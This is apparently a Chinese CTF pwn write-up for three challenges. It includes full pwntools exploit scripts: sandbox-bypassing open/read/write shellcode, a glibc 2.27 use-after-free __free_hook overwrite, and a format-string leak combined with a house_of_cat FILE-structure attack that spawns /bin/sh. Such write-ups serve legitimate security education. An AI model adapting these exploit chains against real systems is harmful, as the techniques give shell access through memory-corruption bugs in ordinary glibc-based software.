SandBoxShell
开了沙盒保护,禁用了execve
打ORW链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('202.0.5.188', 8888 ) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
rl("Can you show me your magic code?\n") payload = 'push 0x00;xor rsi,rsi;xor rdx,rdx;mov rbx,0x67616c662f;push rbx;push rsp;pop rdi;mov rax,2;syscall;'
payload += 'mov rdi,rax;mov rsi,0x601000;mov rdx,0x100;xor rax,rax;syscall;'
payload += 'mov rdi,1;mov rsi,0x601000;mov rdx,0x100;mov rax,1;syscall;'
sl(asm(payload))
inter()
|
Old_man_v1
glibc-2.27,存在UAF,add一个0x410的chunk,然后释放后泄露libc,edit指向free_hook打system即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 0 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('202.0.5.188', 9999) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.27.so') def add(index,len,content): sl('1') rl("Which elderly case do you need to add?\n") sl(str(index)) rl("How much content does this elderly person's case need to include?:\n") sl(str(len)) rl("So what are you going to write about:\n") s(content) def show(index): sl('2') rl("Which elderly case do you want to show?\n") sl(str(index)) def delete(index): sl('4') rl("Which elderly case do you want to delete?\n") sl(str(index)) def edit(index,content): sl('3') rl("Which elderly case do you want to edit?\n") sl(str(index)) rl("So what are you going to write about:\n") s(content)
add(0,0x410,'a') add(1,0x10,'a') delete(0) show(0) libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base) free_hook = libc_base + libc.sym['__free_hook'] add(2,0x60,'/bin/sh\x00') add(3,0x60,'/bin/sh\x00') delete(2) delete(3) edit(3,p64(free_hook)) add(4,0x60,'/bin/sh\x00') add(5,0x60,p64(libc_base+libc.sym['system'])) delete(4) inter()
|
power_system
需要登陆admin,有一个strncmp的sha256比较,由于’\x00’截断,所以只需要前面的’E85000’相等即可。可以直接利用hash碰撞。
并且登陆成功后会有一个 __printf_chk(1LL, v4);
所以这是对格式化字符串漏洞进行了检测。无法直接利用形如"%n$p"了,只能利用"%p-%p-%p-%p"来泄露寄存器的内容来leak出libc的基地址。所以哈希撞库时也要以"%p-%p-%p-%p"为限制条件
之后进入到adjust函数中,选择node时存在负数溢出情况,可以控制到IO_stderr+8开始往后的内容。那么就能够利用这个进行hosue_of_cat打法。
模板
1 2 3 4 5 6 7 8 9 10 11
| payload = flat({ 0x00: 0, 0x28: 0xffffffff, 0x30: 1, 0x70: b'/bin/sh', 0x90: system, 0x98: libc.sym['_IO_2_1_stderr_']+0x70+libc_base, 0xa0: libc.sym['_IO_2_1_stderr_'] + libc_base, 0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 + libc_base, 0xe0: 0 }, filler=b"\x00")
|
house_of_cat利用链:
exit
->__run_exit_handlers
->IO_cleanup
->_IO_flush_all_lockp
->_IO_wfile_seekoff
->system
需要注意的是控制好stderr的对应参数,vtables要设置为_IO_wfile_jumps+0x30
,这样vtables+0x18才能调用_IO_wfile_seekoff
,调试修改对应位置绕过即可
1 2 3 4
| r13 = rdi(stderr) r15 = [r13+0x98] rdi = r15 call [r15+0x20]
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('127.0.0.1', 10001) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.29.so') rl(">> ") sl('2') account = 'QAQ' rl("Please input admin account : ") sl(account) hash = 'E850006B2A652574A32E6D44A7706DB08DBCC14BBF437A85395041ED57D3FD58' password = '%p-%p-%p-%pdtD~' rl("Please input admin password : ")
sl(password) rl("Your passwrod is ") rl("-0x22-0x") libc_leak = int(p.recv(12),16) lg('libc_leak',libc_leak) libc_base = libc_leak - 0x1ec5c0 lg('libc_base',libc_base) system = libc_base + libc.sym['system'] io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] rl(">> ") sl('2') rl("Select the node to adjust the power: ")
sl('-2') rl("Set power size: ") sl(str(0)) rl("Sets the name of operating staff: ") payload = flat({ 0x00: 0, 0x20: 1, 0x28: 0xffffffff, 0x30: 1, 0x70: b'/bin/sh', 0x90: system, 0x98: libc.sym['_IO_2_1_stderr_']+0x70+libc_base, 0xa0: libc.sym['_IO_2_1_stderr_'] + libc_base, 0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 + libc_base, 0xe0: 0 }, filler=b"\x00")
sl(payload[8:]) rl(">> ") sl('4') sl('0')
inter()
|
这个是glibc-2.29版本的,与glibc-2.35版本的house_of_cat打法略有不同,因为_IO_flush_all_lockp
和_IO_wfile_seekoff
中的限制条件不太一样,具体可以进行调试修改